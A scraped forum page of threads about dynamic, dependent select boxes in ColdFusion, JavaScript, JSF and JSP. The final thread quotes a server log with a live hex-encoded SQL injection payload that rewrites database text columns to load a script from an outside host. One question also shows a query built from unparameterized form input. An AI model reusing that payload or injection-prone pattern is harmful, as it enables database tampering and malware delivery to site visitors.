Dynamic dual select box

I am sorry that i am asking this question because i have
searched this website and forums to get my answer but my problem
remains unsolved.
The problem is reagrding the dual select boxes which are
dependant uopn one another like:
A1 is dependant on A.
if i select A from query, the second select should get
populated from the query based upon the criteria selected by A.
like i have two fields which are
RESIDENTIAL
COMMERCIAL
these are in the first select box, i am driving their value
from a query as:
<cfquery name="getSubdivision" datasource="#dsn#">
SELECT *
FROM subdivision
</cfquery>
The if i select the value RESIDENTIAL the select select
should automatically be papulated by the value based on the
RESIDENTIAL like MALLS/SHOWROOMS/SHOPS
etc.
my second query is which is getting results from the above
query as are:
<cfquery name="getproperty" datasource="#dsn#">
SELECT *
FROM properties_types
Where sub_id = #getsubdivision.sub_id#
</cfquery>
As the above query is simple, my properties_types table have
structure like this"
id
property_type
sub_id (This will get the value from subdivision's table
sub_id (primary key)) and foreign key in this table.
hope u understand what i am tryin to achieve
when i select A i get all the values in the A1 based on the
query which does not match RESIDENTIAL value also.
i tried the tutes on the website like
tutorial166.easycfm.com but that tutorial just refreshes the
page, i turned around and searched some more but hard to find.
does anyone have any idea how to achieve this simple info as
this is coming headache for me,
thanks

I'm heading out just now, but there are quite a few examples
on google
http://www.google.com/search?q=ColdFusion+related+select+lists
The first few are:
http://tutorial196.easycfm.com/
http://www.adobe.com/cfusion/exchange/index.cfm?event=extensionDetail&loc=en_us&extid=1027 446
http://www.forta.com/blog/index.cfm/2007/5/31/ColdFusion-Ajax-Tutorial-2-Related-Selects
Good luck
HTH

Similar Messages

  • How to Populate values dynamically in Select Box.

    Hi All,
    I have few select boxes in my webdynpro application. Right now I am populating them using Harcoded values in the Dictionary. But I dont want to harcode the values in the dictionary, i want pull the values from database tables or  text files of EP KM. Just let me know which is the better way to populate the select box without hardcoding & why ?
    Thanks in Advance.
    Regards,
    Aditya Metukul

    Hi Aditya,
    Getting values from KM and database is possible
    It depends on your requirement
    ie if the dropdown should contain details of documents from KM or it should display the details in a table
    if it is oracle table see this link
    Webdynpro and Oracle
    if you want to get data from km see this tutorial
    https://www.sdn.sap.com/irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs/library/webas/webdynpro/tutorial on using knowledge management functions in web dynpro - 26.htm
    Hope this helps you
    Regards
    Rohit
    Regards
    Rohit

  • Dynamic Year Select Box

    I would like to make a select box that has the last 50 years in it.  I want it to change with each year instead of me going in and changing it in the code. Would I do this with an array? I think there is an easy way to do this but I can not figure it out.
    Thanks for your help

    <cfoutput>
    <cfset theyear = year(now())>
    <select name = year>
    <cfloop from = "1" to = "50" index = "i">
    <option value = "#theyear# />#theyear#
    <cfset theyear = theyear - 1>
    closing tags

  • Move data from a select box to table in database.

    Hi,
    a. I have one dual selection box and for that the is div id =' id '
    b.In dual selection box there is two box ie. one is Available and other is Selected. So a user can select one or all using two button.
    c. My requirements is like :
    onclick of a radio button all datas from available side will move to database and that dual box will be hidden.

    Java != Javascript. Please go to some web development board.

  • DYNAMIC SELECT BOX

    The problem is that the second select box is not displaying what is the wrong in the code
    <html>
    <head>
    <script>
    function setList(theList) {
    switch (theList) {
    case 1 : {
    document.theForm.mySelect.options[0].value="50THD-OZAM";
    document.theForm.mySelect.options[1].value="ABABA-BALB";
    document.theForm.mySelect.options[2].value="BALAB-KIDA";
    document.theForm.mySelect.options[3].value="CALIC-BABA";
    document.theForm.mySelect.options[4].value="GUTAO-DINE";
    document.theForm.mySelect.options[5].value="";
    document.theForm.mySelect.options[6].value="";
    document.theForm.mySelect.options[7].value="";
    document.theForm.mySelect.options[0].selected=true;
    document.theForm.radioButton[0].checked=true;
    break;
    case 2 : {
    document.theForm.mySelect.options[0].value="AGON";
    document.theForm.mySelect.options[1].value="AJUY";
    document.theForm.mySelect.options[2].value="Abay";
    document.theForm.radioButton[1].checked=true;
    break;
    case 3 : {
    document.theForm.mySelect.options[0].value="KAL";
    document.theForm.mySelect.options[1].value="ILO ";
    document.theForm.mySelect.options[2].value="LEY";
    document.theForm.radioButton[2].checked=true;
    break;
    setOptionText();
    function setOptionText() {
    document.theForm.mySelect.options[0].text=document.theForm.mySelect.options[0].value;
    document.theForm.mySelect.options[1].text=document.theForm.mySelect.options[1].value;
    document.theForm.mySelect.options[2].text=document.theForm.mySelect.options[2].value;
    var group=new Array(document.theForm.mySelect.options.length)
    for (i=0; i<document.theForm.mySelect.options.length; i++)
    group=new Array()
    group[0][0]=new Option("---Select2---"," ");
    group[1][0]=new Option("Now Select This One"," ");
    group[1][1]=new Option("C","3");
    group[1][2]=new Option("DA","2");
    group[1][3]=new Option("DB","1");
    group[2][0]=new Option("Now Select This One"," ");
    group[2][1]=new Option("A","5");
    function redirect(x)
    var i=document.theForm.mySelect.options.length
    for (m=0;m<i;m++)
    for (i=0;i<group[x].length;i++)
    document.theForm.stage2.options[i]=new Option(group[x][i].text,group[x][i].value)
    </script>
    </head>
    <body onload="setList(1)">
    <form name="theForm" onreset="setList(1)">
    BirthPlace is:<br>
    <input checked name="radioButton" type="radio" value="Brgy" onclick="setList(1)">Brgy&&
    <input name="radioButton" type="radio" value="MuniCity" onclick="setList(2)">Muni/city&&
    <input name="radioButton" type="radio" value="Province" onclick="setList(3)">Province<hr>
    <select name="mySelect" onChange="redirect(this.options.selectedIndex)">
    <option value=""></option>
    <option value=""></option>
    <option value=""></option>
    <option value=""></option>
    <option value=""></option>
    <option value=""></option>
    <option value=""></option>
    </select>
    <select name="stage2" size="1" >
    <option value=" " > </option>
    <option value=" " ></option>
    <option value=""></option>
    <option value=""></option>
    <option value=""></option>
    <option value=""></option>
    <option value=""></option>
    </select>
    <br><br>
    </form>
    </body>
    </html>

    hello mate,
    you can just use another javascript code for your application since it seems that( as well as i understood ) you couldn't set the array if user make a selection.
    A few times ago i had a probelm like that but i used the below code..
    Here the DynamicOptionList.js file and source code:
    you just call this code from your html page like this :
    <SCRIPT LANGUAGE="JavaScript" SRC="DynamicOptionList.js"></SCRIPT>
    //STARTS HERE DynamicOptionList.js
    // CONSTRUCTOR
    // Pass in the name of the element, then the names of the lists it depends on
    function DynamicOptionList() {
         if (arguments.length < 2) { alert("Not enough arguments in DynamicOptionList()"); }
         // Name of the list containing dynamic values
         this.target = arguments[0];
         // Set the lists that this dynamic list depends on
         this.dependencies = new Array();
         for (var i=1; i<arguments.length; i++) {
              this.dependencies[this.dependencies.length] = arguments;
         // The form this list belongs to
         this.form = null;
         // Place-holder for currently-selected values of dependent select lists
         this.dependentValues = new Object();
         // Hold default values to be selected for conditions
         this.defaultValues = new Object();
         // Storage for the dynamic values
         this.options = new Object();
         // Delimiter between dependent values
         this.delimiter = "|";
         // Logest string currently a potential options (for Netscape)
         this.longestString = "";
         // The total number of options that might be displayed, to build dummy options (for Netscape)
         this.numberOfOptions = 0;
         // Method mappings
         this.addOptions      = DynamicOptionList_addOptions;
         this.populate           = DynamicOptionList_populate;
         this.setDelimiter     = DynamicOptionList_setDelimiter;
         this.setDefaultOption      = DynamicOptionList_setDefaultOption;
         this.printOptions      = DynamicOptionList_printOptions;
         this.init           = DynamicOptionList_init;
    // Set the delimiter to something other than | when defining condition values
    function DynamicOptionList_setDelimiter(val) {
         this.delimiter = val;
    // Set the default option to be selected when the list is painted
    function DynamicOptionList_setDefaultOption(condition, val) {
         if (typeof this.defaultValues[condition] == "undefined" || this.defaultValues[condition]==null) {
              this.defaultValues[condition] = new Object();
         for (var i=1; i<arguments.length; i++) {
              this.defaultValues[condition][arguments[i]]=1;
    // Init call to map the form to the object and populate it
    function DynamicOptionList_init(theform) {
         this.form = theform;
         this.populate();
    // Add options to the list.
    // Pass the condition string, then the list of text/value pairs that populate the list     
    function DynamicOptionList_addOptions(dependentValue) {
         if (typeof this.options[dependentValue] != "object") { this.options[dependentValue] = new Array(); }
         for (var i=1; i<arguments.length; i+=2) {
              // Keep track of the longest potential string, to draw the option list
              if (arguments[i].length > this.longestString.length) {
                   this.longestString = arguments[i];
              this.numberOfOptions++;
              this.options[dependentValue][this.options[dependentValue].length] = arguments[i];
              this.options[dependentValue][this.options[dependentValue].length] = arguments[i+1];
    // Print dummy options so Netscape behaves nicely
    function DynamicOptionList_printOptions() {
         // Only need to write out "dummy" options for Netscape
    if ((navigator.appName == 'Netscape') && (parseInt(navigator.appVersion) <= 4)){
              var ret = "";
              for (var i=0; i<this.numberOfOptions; i++) {
                   ret += "<OPTION>";
              ret += "<OPTION>"
              for (var i=0; i<this.longestString.length; i++) {
                   ret += "_";
              document.writeln(ret);
    // Populate the list
    function DynamicOptionList_populate() {
         var theform = this.form;
         var i,j,obj,obj2;
         // Get the current value(s) of all select lists this list depends on
         this.dependentValues = new Object;
         var dependentValuesInitialized = false;
         for (i=0; i<this.dependencies.length;i++) {
              var sel = theform[this.dependencies[i]];
              var selName = sel.name;
              // If this is the first dependent list, just fill in the dependentValues
              if (!dependentValuesInitialized) {
                   dependentValuesInitialized = true;
                   for (j=0; j<sel.options.length; j++) {
                        if (sel.options[j].selected) {
                             this.dependentValues[sel.options[j].value] = true;
              // Otherwise, add new options for every existing option
              else {
                   var tmpList = new Object();
                   var newList = new Object();
                   for (j=0; j<sel.options.length; j++) {
                        if (sel.options[j].selected) {
                             tmpList[sel.options[j].value] = true;
                   for (obj in this.dependentValues) {
                        for (obj2 in tmpList) {
                             newList[obj + this.delimiter + obj2] = true;
                   this.dependentValues = newList;
         var targetSel = theform[this.target];
         // Store the currently-selected values of the target list to maintain them (in case of multiple select lists)
         var targetSelected = new Object();
         for (i=0; i<targetSel.options.length; i++) {
              if (targetSel.options[i].selected) {
                   targetSelected[targetSel.options[i].value] = true;
         targetSel.options.length = 0; // Clear all target options
         for (i in this.dependentValues) {
              if (typeof this.options[i] == "object") {
                   var o = this.options[i];
                   for (j=0; j<o.length; j+=2) {
                        var text = o[j];
                        var val = o[j+1];
                        targetSel.options[targetSel.options.length] = new Option(text, val, false, false);
                        if (typeof this.defaultValues[i] != "undefined" && this.defaultValues[i]!=null) {
                             for (def in this.defaultValues[i]) {
                                  if (def == val) {
                                       targetSelected[val] = true;
         targetSel.selectedIndex=-1;
         // Select the options that were selected before
         for (i=0; i<targetSel.options.length; i++) {
              if (targetSelected[targetSel.options[i].value] != null && targetSelected[targetSel.options[i].value]==true) {
                   targetSel.options[i].selected = true;
    //********** ENDS HERE
    now the html page and how the trick is going :
    <HTML>
    <HEAD>
    <META CONTENT="text/html; charset=windows-1254" HTTP-EQUIV="Content-Type">
    <META CONTENT="text/html; charset=iso-8859-9" HTTP-EQUIV="Content-Type">
         <TITLE>JavaScript Toolbox - Dynamic Option List</TITLE>
    <SCRIPT LANGUAGE="JavaScript" SRC="C:\WINNT\Profiles\calisirmu\Desktop\javaScripts\DynamicOptionList.js"></SCRIPT>
    <SCRIPT LANGUAGE="JavaScript">
    // First example
    var listB = new DynamicOptionList("B","A");
    //first initialize parameters
    listB.addOptions("CARs",
              "BMW","BMW",
              "PEUGEOT","PEUGEOT",
              "PORSCHE","PORSCHE",
              "TOYOTA","TOYOTA");     
    listB.addOptions("MOTORCYCLEs",
              "HONDA","HONDA",
              "KAWASAKI","KAWASAKI");
    listB.addOptions("FORMULA CARS",
              "FERRARI","FERRARI",
              "MERCEDES","MERCEDES",
              "JAGUAR","JAGUAR");
    //set default options
    listB.setDefaultOption("CARs","PORSCHE");
    listB.setDefaultOption("MOTORCYCLEs","HONDA");
    listB.setDefaultOption("FORMULA CARS","FERRARI");
    var listC = new DynamicOptionList("C","A","B");
    listC.addOptions("CARs|PORSCHE","911 TURBO GT2","911 TURBO GT2",
                        "MOBY DICK","MOBY DICK",
                        "GT1 RACE VERSION","GT1 RACE VERSION");
    listC.setDefaultOption("CARs|PORSCHE","911 TURBO GT2");
    listC.addOptions("CARs|BMV","750 IL","750 IL");
    listC.addOptions("CARs|PEUGEOT","406","406");
    listC.addOptions("CARs|TOYOTA","AVENSIS","AVENSIS");
    listC.addOptions("MOTORCYCLEs|HONDA","SUPER 5000","SUPER 5000");
    listC.setDefaultOption("MOTORCYCLEs|HONDA","SUPER 5000");
    listC.addOptions("MOTORCYCLEs|KAWASAKI","SUPER KACAR","SUPER KACAR");
    listC.addOptions("MOTORCYCLEs|KAWASAKI","YAVAS GIDER","YAVAS GIDER");
    listC.addOptions("MOTORCYCLEs|KAWASAKI","ANCA GIDER","ANCA GIDER");
    listC.addOptions("FORMULA CARS|FERRARI","F1 2000","F1 2000");
    listC.setDefaultOption("FORMULA CARS|FERRARI","F1 2000");
    listC.addOptions("FORMULA CARS|MERCEDES","CLK","CLK");
    listC.addOptions("FORMULA CARS|JAGUAR","SALLA GITSIN","SALLA GITSIN");
    function init() {
         var theform = document.forms[0];
         listB.init(theform);
         listC.init(theform);
         listE.init(theform);
         listF.init(theform);
    </SCRIPT>
    </HEAD>
    <BODY BGCOLOR=#FFFFFF LINK="#00615F" VLINK="#00615F" ALINK="#00615F" onLoad="init()">
    <BR><BR>
    <BR>
    <FORM ACTION="" METHOD="" name="Form1">
    <BR>
    <TABLE BORDER="0">
    <TR bgcolor="#ffffe6">
         <TH >TYPE</TH>
         <TH>NAME</TH>
         <TH>MODEL</TH>
    </TR>
    <TR>
         <TD>
              <SELECT NAME="A" onChange="listB.populate();listC.populate();">
                   <OPTION VALUE="CARs">CARs
                   <OPTION VALUE="MOTORCYCLEs">MOTORCYCLEs
                   <OPTION VALUE="FORMULA CARS">FORMULA CARS
              </SELECT>
         </TD>
         <TD>
              <SELECT NAME="B" onChange="listC.populate();">
                   <SCRIPT LANGUAGE="JavaScript">listB.printOptions()</SCRIPT>
              </SELECT>
         </TD>
         <TD>
              <SELECT NAME="C">
                   <SCRIPT LANGUAGE="JavaScript">listC.printOptions()</SCRIPT>
              </SELECT>
         </TD>
    </TR>
    </TABLE>
    </FORM>
    </BODY>
    </HTML>
    you save this html page as xxx.html and thane run it.
    I hope this is beneficial for you.
    mcaldeveloper :-)

  • Creating Dynamic select boxes

    Can we create dynamic select boxes which will change when the user selection changes. How many levels we can go about.
    For example
    we have one combo box named states--> depending upon the states selected the corresponding districts should be shown in the other combo box, and when the user selects a district it should show the corresponding villages or towns and further..
    Can we do it without ajax concept. if yes how?
    If we have to use ajax one level is easy how to go about two or three levels.
    Thanks in advance.

    Hi !
    ya it is possible to change values of Combobox depending on the value changed in another combobox.
    it is possible when you implement Model and by reference of that
    model you can change values of that combobox such as.
    model1.removeAllItems();
    model1.addItemAt(location); etc
    inspite of this if you need code help i will provide it to you.

  • Dynamic populating the items in the select boxes

    Hi,
    I need three select boxes on a webpage in such a way that the options in select box 2 should be populated only after selecting some item in "select box 1" and the options in the "select box 3" should be displayed by selecting the options in "the select box2". The data is being retrived from the database. I know that this functionality can be acheived through the "javascript". I am fine until getting the data from the database but not sure how to get it work using javascript.
    I would appreciate if someone can post any snippet of code or give any suggesstions or pointer on how to proceed....
    -coolers

    probably should ask on a javascript forum then. This is for java.

  • Add form fields dynamically onchange of a select box.

    I have a JSP page with a <h:form>:
    <h:form id="registrationForm">
         <h:outputText value="#{Resource.EmailAddress}" /><br />
         <h:inputText label="E-mail Address" id="emailAddress" value="#{RegistrationBean.emailAddress}" required="true" requiredMessage="#{Resource.RequiredError}">
              <f:validator validatorId="EmailValidator" />
         </h:inputText><br />
         <h:message for="emailAddress" styleClass="error" /></td>
         Select age range<br />
         <h:selectOneMenu id="ageRange" value="#{RegistrationBean.ageRange}" valueChangeListener="#{RegistrationBean.updateComponents}" onchange="javascript: return submit()">
              <f:selectItems value="#{RegistrationBean.ageRangeValues}" />
         </h:selectOneMenu><br />
         <h:commandButton id="submit" value="#{Resource.Submit}" />
    </h:form>When the user changes the value for the ageRange select box, the form gets submitted through the following JavaScript:
    function submit() {
         document.forms[0].submit();
         return true;
    }Then the ValueChangeListener defined in a backing bean for the ageRange select box gets called:
    public void updateComponents(ValueChangeEvent e) {
         // Generate components automatically
    }What I want is, when the user changes the value of the ageRange select box, the valueChangeListener should generate a few new text fields in the form and the validator for the e-mail address field shouldn't get called. The validator for the email-address field should only get called once the user clicks on the Submit button.
    Any help or pointers will be greatly appreciated.

    You can find here lot of pointers: http://balusc.blogspot.com/2007/10/populate-child-menus.html

  • 3 select Box and 2 dynamic one

    Hi guys,
    I have 3 select box.
    First one will change the second one values, and second one will change third one values
    So Im doing this :
    <h:selectOneMenu style="width:320px;" value="#{class.info1}"
                             valueChangeListener="#{class.changeInfo2}"
                             id="info1Id"
                             onchange="enableDisableElements(\'#{rich:clientId('info2Id')}\')">
                <f:selectItem itemLabel="#{messages.IRS_PageBlock1Select1}" itemValue="-1"/>
                <f:selectItems value="#{class.getListInfo1()}"/>
                <a:support event="onchange" reRender="#{rich:clientId('info2Id')}"/>
            </h:selectOneMenu>
    <h:selectOneMenu style="width:320px;" value="#{class.info2}"
                             id="info2Id" required="true" styleClass="disabledTrigger"
                             valueChangeListener="#{class.changeInfo3}"
                             onchange="enableDisableElements(\'#{rich:clientId('info3Id')}\')">
                <f:selectItem itemLabel="#{messages.IRS_PageBlock1Select2}" itemValue="-1"/>
                <f:selectItems value="#{info2List}"/>
                <a:support event="onchange" reRender="#{rich:clientId('info3Id')}"/>
            </h:selectOneMenu>
    <h:selectOneMenu style="width:320px;" value="#{class.info3}"
                             id="info3Id" required="true" styleClass="disabledTrigger">
                <f:selectItem itemLabel="#{messages.IRS_PageBlock1Select3}" itemValue="-1"/>
                <f:selectItems value="#{info3List}"/>
            </h:selectOneMenu>in Java :
    public void changeInfo2(ValueChangeEvent e) {
            newinfo2Id = (Long) e.getNewValue();
            callMethodToUpdateInfo2List();
        public void changeInfo3(ValueChangeEvent e) {
            newinfo3Id = (Long) e.getNewValue();
            callMethodToUpdateInfo3List();
        }callMethodToUpdateInfo2List and callMethodToUpdateInfo3List are methods returning List<SelectItem>
    So when I arrive on my page, select first drop down, second drop down is well updated, but then if I try to change some values in this one I get :
    Caused by java.util.NoSuchElementException with message: ""
    javax.faces.component.SelectItemsIterator.next(SelectItemsIterator.java:117)
    javax.faces.component.SelectItemsIterator.next(SelectItemsIterator.java:144)
    javax.faces.component.SelectItemsIterator.next(SelectItemsIterator.java:49)
    javax.faces.component.UISelectOne.matchValue(UISelectOne.java:164)
    javax.faces.component.UISelectOne.validateValue(UISelectOne.java:137)
    javax.faces.component.UIInput.validate(UIInput.java:867)
    javax.faces.component.UIInput.executeValidate(UIInput.java:1065)
    javax.faces.component.UIInput.processValidators(UIInput.java:666)
    javax.faces.component.UIForm.processValidators(UIForm.java:229)Is it because the render of the component is bad updated ?? or something like that ?
    Thx guys
    Edited by: xtof83 on Jun 12, 2008 8:03 AM

    You may find this article useful: [http://balusc.blogspot.com/2007/10/populate-child-menus.html].

  • How do I enable multiple dynamic drop down boxes?

    I'm using Windows 2000, Java SDK 2 Standard, Tomcat, Apache, Microsoft Access and Macromedia Dreamweaver Ultradev 4.
    With UltraDev I'm trying to create a jsp page that has more than one dynamic drop down box or more than one dynamic select list box. I can show one dynamic object and as many static objects as I need. But when I add a second dynamic drop down box, with a second recordset, the page will only display the first dynamic object and all content following that object will not display.

    Here's the code:
    <%@page contentType="text/html; charset=iso-8859-1" language="java" import="java.sql.*"%>
    <%@ include file="Connections/conn.jsp" %>
    <%
    Driver DriverRecordset1 = (Driver)Class.forName(MM_conn_DRIVER).newInstance();
    Connection ConnRecordset1 = DriverManager.getConnection(MM_conn_STRING,MM_conn_USERNAME,MM_conn_PASSWORD);
    PreparedStatement StatementRecordset1 = ConnRecordset1.prepareStatement("SELECT STATE_NAME, COUNTRY FROM STATE");
    ResultSet Recordset1 = StatementRecordset1.executeQuery();
    boolean Recordset1_isEmpty = !Recordset1.next();
    boolean Recordset1_hasData = !Recordset1_isEmpty;
    Object Recordset1_data;
    int Recordset1_numRows = 0;
    %>
    <%
    Driver DriverRecordset2 = (Driver)Class.forName(MM_conn_DRIVER).newInstance();
    Connection ConnRecordset2 = DriverManager.getConnection(MM_conn_STRING,MM_conn_USERNAME,MM_conn_PASSWORD);
    PreparedStatement StatementRecordset2 = ConnRecordset2.prepareStatement("SELECT FIRSTNAME, LASTNAME, AGE FROM PLAYER");
    ResultSet Recordset2 = StatementRecordset2.executeQuery();
    boolean Recordset2_isEmpty = !Recordset2.next();
    boolean Recordset2_hasData = !Recordset2_isEmpty;
    Object Recordset2_data;
    int Recordset2_numRows = 0;
    %>
    <html>
    <head>
    <title>Untitled Document</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    </head>
    <body bgcolor="#FFFFFF" text="#000000">
    <form name="form1" method="post" action="">
    <p>
    <select name="select2">
    <option value="Canada">Canada</font></option>
    <option value="France">France</font></option>
    <option value="French Guiana">French Guiana</font></option>
    <option value="French Polynesia">French Polynesia</font></option>
    <option value="French Southern Territories">French Southern Territories</font></option>
    <option value="Germany">Germany</font></option>
    <option value="United Kingdom">United Kingdom</font></option>
    <option value="United States">United States</font></option>
    </select>
    </p>
    <p>
    <select name="select">
    <%
    while (Recordset1_hasData) {
    %>
    <option value="<%=(((Recordset1_data = Recordset1.getObject("COUNTRY"))==null || Recordset1.wasNull())?"":Recordset1_data)%>" ><%=(((Recordset1_data =
    Recordset1.getObject("STATE_NAME"))==null || Recordset1.wasNull())?"":Recordset1_data)%></option>
    <%
    Recordset1_hasData = Recordset1.next();
    Recordset1.close();
    Recordset1 = StatementRecordset1.executeQuery();
    Recordset1_hasData = Recordset1.next();
    Recordset1_isEmpty = !Recordset1_hasData;
    %>
    </select>
    </p>
    <p>
    //Here's where things go awry
    <select name="select4">
    <%
    while (Recordset2_hasData) {
    %>
    <option value="<%=(((Recordset2_data = Recordset2.getObject("FIRSTNAME"))==null || Recordset2.wasNull())?"":Recordset2_data)%>" ><%=(((Recordset2_data = Recordset2.getObject("FIRSTNAME"))==null || Recordset2.wasNull())?"":Recordset2_data)%></option>
    <%
    Recordset2_hasData = Recordset2.next();
    Recordset2.close();
    Recordset2 = StatementRecordset2.executeQuery();
    Recordset2_hasData = Recordset2.next();
    Recordset2_isEmpty = !Recordset2_hasData;
    %>
    </select>
    </p>
    <p>
    <select name="select5">
    </select>
    </p>
    <p> </p>
    </form>
    <form name="form2" method="post" action="">
    <select name="select3">
    </select>
    </form>
    <p> </p>
    </body>
    </html>
    <%
    Recordset1.close();
    ConnRecordset1.close();
    %>
    <%
    Recordset2.close();
    ConnRecordset2.close();
    %>

  • Autosuggest and select box

    I was wondering how to update a select box with data relevant
    to a selection made on a suggest box, something similar to
    this,
    but with a spry suggest box instead of the first select box on the
    example.
    I tried the example (two select boxes using two binded data
    sets) with my db and it works; when I select something on the first
    select box, the second one changes dynamically according to the
    selection made.
    I have defined two datasets:
    var ds1 = new
    Spry.Data.XMLDataSet("API/make_entry_list_xml.php","viperdb/entry",{sortOnLoad:"pdb_id",s ortOrderOnLoad:"ascending"});
    var ds2 = new
    Spry.Data.XMLDataSet("API/get_chains_for_entry_id.php?VDB={ds1::pdb_id}","viperdb/entry/c hain_id");
    and defined the suggest and select boxes as:
    <div id="suggest_1">
    <input type='text' id='vdb1'>
    <div id="resultsDIV_1" spry:region="ds1">
    <div spry:repeat="ds1" spry:suggest="{pdb_id}"
    onClick="ds1.setCurrentRowNumber(this.selectedIndex);"
    onchange="ds1.setCurrentRowNumber(this.selectedIndex);">
    <div class="suggest_list">{pdb_id}</div>
    </div>
    </div>
    <span spry:region="ds2" id="subdirSelector">
    <select spry:repeatchildren="ds2" name="subdirSelect">
    <option value="{chain_id}">{chain_id}</option>
    </select>
    </span>
    </div>
    Neither onclick nor onchange functions seem to work; on load
    the second select does fill up with ds2 data (acording to the first
    element of ds1), but when using the suggest box to select something
    different, the selectbox doesn't change accordingly, keeping always
    the same data.
    Am I using the setCurrentRowNumber in the wrong dataset or
    tag?

    I would say if you were to do somthing like this
    var ds1 = new
    Spry.Data.XMLDataSet("API/make_entry_list_xml.php","viperdb/entry",{sortOnLoad:"pdb_id",s ortOrderOnLoad:"ascending",useCache:false});
    see I added the useCache:false
    This will stop the browser from cacheing your xml, thenjust
    add an onclick to some function like say
    update();
    then have update do this
    function update()
    ds1.loadData();
    That should cause the browser to update the data set and
    update your elements now the only downside is IE has a bug well
    more like IE being the bug but anyhow you may have to add things to
    your code to get it to work right in IE, I added in some random
    number script in my JS so that it will append on the end of my DS
    each time so IE thinks its a new XML doc. Hope this helps.

  • Select boxes dependent on each other?

    Hi is there a way to use selectboxes / textfileds that depend on each other.
    select box 1. reads from database names
    select box 2. this one is filled when a chiose from box 1 is selected.
    (after a database question based on the result in box 1)
    inupttextfields 1 and 2 are filled after a new database request based on the choise in select box 2.
    pleased with different kind of answers. without javascripts adn also with use of
    javascripts. (Im not so used with javascripts)
    Plese give me a simple example and not just a link.
    thanks.

    Plese give me a simple example and not just a link.There is no simple example, because this is highly specific on your webpage implementation and database. search google for "javascript dynamic select box", or "javascript dynamic option lists". That should give you some examples.

  • Select box choice resetting

    I have a drop-down box that I am using to control the sorting
    of my dataset. The drop-down box is located in a spry region
    because I want to display different sorting choices depending on a
    javascript variable. I have it scripted so that the dataset.sort()
    function is called by the drop-down box's onChange handler. It
    works great for the sorting - the only problem is that the
    drop-down box always reverts back to the first <option> as
    soon as the sort() method is called and I would prefer to have it
    remain on the last selected index. I know I could probably rig
    something complicated in JavaScript involving observer objects and
    dynamically building the select options, but before I went down
    that road, I was wondering if anyone knew how to get the
    <select> box from reverting first?
    I attached a quick sample of what I'm talking about below:
    <td spry:region="dsPlans" class="SpryHiddenRegion">
    <span spry:choose="spry:choose">
    <!--- When selected, this select box always resets to
    whatever the first option is --->
    <select name="sSortBy" spry:when="var1 == 'value1'"
    onChange="dsPlans.sort(this.value,'toggle');">
    <option value="Field1">Field1</option>
    <option value="Field2">Field2</option>
    <option value="Field3">Field3</option>
    </select>
    <select name="sSortBy" spry:when="var1 == 'value2'"
    onChange="dsPlans.sort(this.value,'toggle');">
    <option value="Field4">Field4</option>
    <option value="Field5">Field5</option>
    <option value="Field6">Field6</option>
    </select>
    <select name="sSortBy" spry:default="spry:default"
    onChange="dsPlans.sort(this.value,'toggle');">
    <option value="Field7">Field7</option>
    <option value="Field8">Field8</option>
    <option value="Field9">Field9</option>
    </select>
    </span>
    </td>
    Any help is greatly appreciated! Thanks!

    Hi Michael,
    The cleanest way is to use observers as you suggest.
    onPreUpdate, store the selected index of the select, and then
    onPostUpdate, restore it. Something like:
    var savedIndex = 0;
    dsPlans.addObserver(function(noticationType, notifier, data)
    if (notificationType == "onPreUpdate" &&
    document.forms[ 0 ] && document.forms[ 0 ].sSortBy)
    savedIndex = document.forms[0].sSortBy.selectedIndex;
    else if (notificationType == "onPostUpdate")
    document.forms[ 0 ].sSortBy.selectedIndex = savedIndex;
    You'd probably also want some logic that resets this
    savedIndex whenever your var1 changes too.
    --== Kin ==--

  • Pre-populate select box causing query error

    Referring to this thread
    http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:56335#305025
    I wanted to pass a value to a dynamic select box (in a url),
    so I changed this:
    <option value="'#SITEID#'" selected=#sid#>
    to this:
    <option value="#SITEID#"<cfif SITEID EQ sid>
    selected="selected"</cfif>>
    and now get "Error Executing Database Query...... Too few
    parameters. Expected 1."
    The query:
    SELECT <CFLOOP list="#form.parameters#"
    index="i">sitedata.#i#,</CFLOOP>
    site.coordinates_n, site.coordinates_w,
    sitedata.monitordate, site.name,
    site.siteid
    FROM site INNER JOIN sitedata
    ON site.siteid = sitedata.siteid
    WHERE sitedata.SITEID IS NOT NULL
    <CFIF form.siteid gt "">AND sitedata.SITEID in
    (#PreserveSingleQuotes(form.siteid)#)</CFIF>
    <CFIF startdate gt "" AND enddate gt "">AND
    sitedata.monitordate >=
    #startdate# and sitedata.monitordate <=
    #enddate#</CFIF>
    <CFIF startdate gt "" AND enddate is "">AND
    sitedata.monitordate >=
    #startdate#</CFIF>
    ORDER BY sitedata.monitordate, sitedata.siteid
    I admit I'm not a CF or SQL expert! I'm guessing it has
    something to do
    with the cfloop. Hoping this is something simple I've
    overlooked...
    TIA

    CFQUERYPARAM caught the following attempt at SQL Injection.
    Would someone please explain what they were trying to do?
    best, paul
    On Tue, Jul 22, 2008 at 7:17 AM, <[email protected]>
    wrote:
    > cgi.content_length
    > cgi.http_accept*/*
    > cgi.http_referer
    > cgi.http_user_agentMozilla/4.0 (compatible; MSIE 6.0;
    Windows NT 5.1; SV1)
    > cgi.path_info/index.cfm
    >
    cgi.path_translatedD:\sites\www.lazydazers.com\html\index.cfm
    >
    cgi.query_stringfa=ShowItem&ID=2168;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415 245204054207661726368617228323535292C40432076617263686172283430303029204445434C41524520546 1626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D6520667 26F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69642 0616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D333 5206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437 572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404 3205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205 B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736 372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3 C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637 2697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C2 12D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4 04320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757 2736F72%20AS%20CHAR(4000));EXEC(@S);
    > cgi.remote_addr220.191.251.211
